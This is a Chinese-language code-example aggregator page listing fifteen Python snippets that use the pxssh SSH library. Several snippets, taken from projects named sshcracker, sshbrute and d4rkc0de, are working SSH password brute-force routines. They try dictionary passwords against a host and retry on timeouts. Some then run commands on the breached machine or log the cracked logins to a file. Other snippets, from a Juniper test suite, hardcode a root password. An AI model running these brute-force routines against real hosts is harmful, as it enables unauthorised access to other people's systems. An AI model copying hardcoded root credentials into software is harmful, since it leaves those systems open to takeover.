當前位置: 首頁>>代碼示例>>Python>>正文


Python pxssh.pxssh方法代碼示例

本文整理匯總了Python中pxssh.pxssh方法的典型用法代碼示例。如果您正苦於以下問題:Python pxssh.pxssh方法的具體用法?Python pxssh.pxssh怎麽用?Python pxssh.pxssh使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在pxssh的用法示例。


在下文中一共展示了pxssh.pxssh方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: connect

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def connect(host, user, dict1):
    errors=0
    try:
        s = pxssh.pxssh()
        s.login(host, user, dict1)
        print('\033[1;32mPassword Found: ' + dict1+"\033[1;31m")
        return s
    except Exception as e:
        if errors > 5:
            print
            "!!! Too Many Socket Timeouts"
            exit(0)
        elif 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            return connect(host, user, dict1)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            return connect(host, user, dict1)
        return None 
開發者ID:omarrajab,項目名稱:NoJlede,代碼行數:22,代碼來源:sshcracker.py

示例2: connect

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def connect(host, user, password, release):
    global FOUND
    global FAILS
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '\n\n[+] Password found: ' + password + '\n\n'
        FOUND = True
        return s
    except Exception, e:
        if 'read_nonblocking' in str(e):
            FAILS += 1
            time.sleep(3)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False) 
開發者ID:StevenDias33,項目名稱:Offensive-Security-Certified-Professional,代碼行數:19,代碼來源:sshbrute.py

示例3: verify_database

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_database(self, targetnode_ip):
      result = True
      handle = pxssh.pxssh()
      ip = targetnode_ip
      login = "root"
      passwd = 'c0ntrail123'
      prompt = "#"
      try:
         ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
      except:
         pass
      cmd = "contrail-status"
      output = send_cmd(handle,cmd,prompt,120)
      pattern = ["supervisord-contrail-database:active",
                 "contrail-database             active",
                 "contrail-database-nodemgr     active"]
      for line in pattern:
        if line not in output:
           print 'verify %s has Failed' %line
           result = result and False
      print "result of verify_database %s"%result
      assert result
      return result
    # END of def verify_database(self, targetnode_ip): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:26,代碼來源:test_smgr_provision.py

示例4: verify_compute

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_compute(self, targetnode_ip):
       result = True
       handle = pxssh.pxssh()
       ip = targetnode_ip
       login = "root"
       passwd = 'c0ntrail123'
       prompt = "#"
       try:
          ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
       except:
          pass
       cmd = "contrail-status"
       output = send_cmd(handle,cmd,prompt,120) 
       pattern = ["supervisor-vrouter:           active",
                  "contrail-vrouter-agent        active",
                  "contrail-vrouter-nodemgr      active"]
       for line in pattern:
          if line not in output:
            print 'verify %s has Failed' %line
            result = result and False
       
       print "result of verify_compute %s"%result
       assert result
       return result
    #end verify_compute(self, targetnode_ip): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:27,代碼來源:test_smgr_provision.py

示例5: connect

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def connect(host, user, pw, release):
    global found
    global fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, pw)
        print('[+] Password found: ' + pw)
        found = True
    except Exception as e:
        if 'read_nonblocking' in str(e):
            fails += 1
            time.sleep(5)
            connect(host, user, pw, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, pw, False)
    finally:
        if release: connection_lock.release() 
開發者ID:ninijay,項目名稱:pycurity,代碼行數:20,代碼來源:ssh_dictionary.py

示例6: _login_remote_system

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def _login_remote_system(self, ip, user, pwd, ssh_key=None, port=None):
        s = pxssh.pxssh()
        s.force_password = True
        s.SSH_OPTS = "-o 'NumberOfPasswordPrompts=1'"
        s.login(ip, user, pwd, ssh_key=ssh_key, port=port)
        return s 
開發者ID:aerospike,項目名稱:aerospike-admin,代碼行數:8,代碼來源:node.py

示例7: __init__

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def __init__ (self, timeout=30, maxread=2000, searchwindowsize=None, logfile=None, cwd=None, env=None):
        spawn.__init__(self, None, timeout=timeout, maxread=maxread, searchwindowsize=searchwindowsize, logfile=logfile, cwd=cwd, env=env)

        self.name = '<pxssh>'
        
        #SUBTLE HACK ALERT! Note that the command to set the prompt uses a
        #slightly different string than the regular expression to match it. This
        #is because when you set the prompt the command will echo back, but we
        #don't want to match the echoed command. So if we make the set command
        #slightly different than the regex we eliminate the problem. To make the
        #set command different we add a backslash in front of $. The $ doesn't
        #need to be escaped, but it doesn't hurt and serves to make the set
        #prompt command different than the regex.

        # used to match the command-line prompt
        self.UNIQUE_PROMPT = "\[PEXPECT\][\$\#] "
        self.PROMPT = self.UNIQUE_PROMPT

        # used to set shell command-line prompt to UNIQUE_PROMPT.
        self.PROMPT_SET_SH = "PS1='[PEXPECT]\$ '"
        self.PROMPT_SET_CSH = "set prompt='[PEXPECT]\$ '"
        self.SSH_OPTS = "-o'RSAAuthentication=no' -o 'PubkeyAuthentication=no'"
        # Disabling X11 forwarding gets rid of the annoying SSH_ASKPASS from
        # displaying a GUI password dialog. I have not figured out how to
        # disable only SSH_ASKPASS without also disabling X11 forwarding.
        # Unsetting SSH_ASKPASS on the remote side doesn't disable it! Annoying!
        #self.SSH_OPTS = "-x -o'RSAAuthentication=no' -o 'PubkeyAuthentication=no'"
        self.force_password = False
        self.auto_prompt_reset = True 
開發者ID:omarrajab,項目名稱:NoJlede,代碼行數:31,代碼來源:pxssh.py

示例8: __init__

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def __init__ (self, timeout=30, maxread=2000, searchwindowsize=None,
                    logfile=None, cwd=None, env=None):

        spawn.__init__(self, None, timeout=timeout, maxread=maxread, searchwindowsize=searchwindowsize, logfile=logfile, cwd=cwd, env=env)

        self.name = '<pxssh>'

        #SUBTLE HACK ALERT! Note that the command that SETS the prompt uses a
        #slightly different string than the regular expression to match it. This
        #is because when you set the prompt the command will echo back, but we
        #don't want to match the echoed command. So if we make the set command
        #slightly different than the regex we eliminate the problem. To make the
        #set command different we add a backslash in front of $. The $ doesn't
        #need to be escaped, but it doesn't hurt and serves to make the set
        #prompt command different than the regex.

        # used to match the command-line prompt
        self.UNIQUE_PROMPT = "\[PEXPECT\][\$\#] "
        self.PROMPT = self.UNIQUE_PROMPT

        # used to set shell command-line prompt to UNIQUE_PROMPT.
        self.PROMPT_SET_SH = "PS1='[PEXPECT]\$ '"
        self.PROMPT_SET_CSH = "set prompt='[PEXPECT]\$ '"
        self.SSH_OPTS = ("-o'RSAAuthentication=no'"
                + " -o 'PubkeyAuthentication=no'")
# Disabling host key checking, makes you vulnerable to MITM attacks.
#                + " -o 'StrictHostKeyChecking=no'"
#                + " -o 'UserKnownHostsFile /dev/null' ")
        # Disabling X11 forwarding gets rid of the annoying SSH_ASKPASS from
        # displaying a GUI password dialog. I have not figured out how to
        # disable only SSH_ASKPASS without also disabling X11 forwarding.
        # Unsetting SSH_ASKPASS on the remote side doesn't disable it! Annoying!
        #self.SSH_OPTS = "-x -o'RSAAuthentication=no' -o 'PubkeyAuthentication=no'"
        self.force_password = False 
開發者ID:c-amr,項目名稱:camr,代碼行數:36,代碼來源:pxssh.py

示例9: brute

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def brute(word):
	print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass 
開發者ID:knightmare2600,項目名稱:d4rkc0de,代碼行數:16,代碼來源:sshbrute.py

示例10: brute

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def brute(ip, word):
	if verbose != 0:
		print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
   	except Exception, e:
        	#print "[-] Failed"
		pass 
開發者ID:knightmare2600,項目名稱:d4rkc0de,代碼行數:17,代碼來源:sshbrute_random.py

示例11: verify_openstack

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_openstack(self, targetnode_ip):
      result = True
      handle = pxssh.pxssh()
      ip = targetnode_ip
      login = "root"
      passwd = 'c0ntrail123'
      prompt = "#"
      try:
         ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
      except:
         pass
      cmd = "openstack-status"
      output = send_cmd(handle,cmd,prompt,120)
      pattern = ["openstack-nova-api:           active",
                 "openstack-nova-compute:       active",
                 "openstack-nova-network:       inactive (disabled on boot)",
                 "openstack-nova-scheduler:     active",
                 "openstack-nova-volume:        inactive (disabled on boot)",
                 "openstack-nova-conductor:     active",
                 "openstack-glance-api:         active",
                 "openstack-glance-registry:    active",
                 "openstack-keystone:           active",
                 "openstack-cinder-api:         active",
                 "openstack-cinder-scheduler:   active",
                 "openstack-cinder-volume:      inactive (disabled on boot)",
                 "mysql:                        inactive (disabled on boot)",
                 "libvirt-bin:                  active",
                 "rabbitmq-server:              active",
                 "memcached:                    inactive (disabled on boot)"]
      for line in pattern:
         if line not in output:
           print 'verify %s has Failed' %line
           result = result and False
      assert result
      return result
   #end verify_openstack(self, targetnode_ip): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:38,代碼來源:test_smgr_provision.py

示例12: verify_collector

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_collector(self, targetnode_ip):
       result = True
       handle = pxssh.pxssh()
       ip = targetnode_ip
       login = "root"
       passwd = 'c0ntrail123'
       prompt = "#"
       try:
          ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
       except:
          pass
       cmd = "contrail-status"
       output = send_cmd(handle,cmd,prompt,120)
       pattern = ["supervisor-analytics:         active",
                  "contrail-analytics-api        active",
                  "contrail-analytics-nodemgr    active",
                  "contrail-collector            active",
                  "contrail-query-engine         active"]
       for line in pattern:
          if line not in output:
            print 'verify %s has Failed' %line
            result = result and False
       print "result of verify_collector %s"%result
       assert result
       return result
    #end verify_collector(self): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:28,代碼來源:test_smgr_provision.py

示例13: verify_config

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_config(self, targetnode_ip):
       result = True
       handle = pxssh.pxssh()
       ip = targetnode_ip
       login = "root"
       passwd = 'c0ntrail123'
       prompt = "#"
       try:
          ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
       except:
          pass
       cmd = "contrail-status"
       output = send_cmd(handle,cmd,prompt,120)
       pattern = ["supervisor-config:            active",
                  "contrail-api:0                active",
                  "contrail-config-nodemgr       active",
                  "contrail-discovery:0          active",
                  "contrail-schema               active",
                  "contrail-svc-monitor          active",
                  "ifmap                         active"]

       for line in pattern:
         if line not in output:
           print 'verify %s has Failed' %line
           result = result and False
       print "result of verify_config %s"%result
       assert result
       return result
    #end verify_config(self, targetnode_ip): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:31,代碼來源:test_smgr_provision.py

示例14: verify_control

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def verify_control(self, targetnode_ip):
       result = True
       handle = pxssh.pxssh()
       ip = targetnode_ip
       login = "root"
       passwd = 'c0ntrail123'
       prompt = "#"
       try:
          ret = handle.login (ip,login,passwd,original_prompt=prompt, login_timeout=1000,auto_prompt_reset=False)
       except:
          pass
       cmd = "contrail-status"
       output = send_cmd(handle,cmd,prompt,120)
       pattern = ["supervisor-control:           active",
                  "contrail-control              active",
                  "contrail-control-nodemgr      active",
                  "contrail-dns                  active",
                  "contrail-named                active"]
       for line in pattern:
          if line not in output:
            print 'verify %s has Failed' %line
            result = result and False
       print "result of verify_control %s"%result
       assert result
       return result
      #end verify_control(self, targetnode_ip): 
開發者ID:Juniper,項目名稱:contrail-server-manager,代碼行數:28,代碼來源:test_smgr_provision.py

示例15: brute

# 需要導入模塊: import pxssh [as 別名]
# 或者: from pxssh import pxssh [as 別名]
def brute(word):
	print "[?] Trying :",word
     	try:
        	s = pxssh.pxssh()
        	s.login (hostname, user, word, login_timeout=10)
		print "\n\t[!] w00t,w00t you've successfully entering SSH target ! "
		print "\t[!] Username :",user 
		print "\t[!] Password :",word, "\n"
		print "\t\n[!] Gathering detail target information : "
		
		time.sleep(3) # sorry only refresh your box... :P


		# Check usefull commands in line 81 - 84
		# You can change with you're command as you like
		s.sendline(perintah)
        	s.prompt()
        	print "\n",s.before
		s.sendline(perintah2)
		s.prompt()
		print "\n",s.before
		s.sendline(perintah3)
		s.prompt()
		print "\n",s.before
		s.sendline(perintah4)
		s.prompt()
		print "\n",s.before
        	s.logout()
		sys.exit(1)
		# End of commands


   	except Exception, e:
		pass 
開發者ID:tuwid,項目名稱:darkc0de-old-stuff,代碼行數:36,代碼來源:sshbrute.py


注:本文中的pxssh.pxssh方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。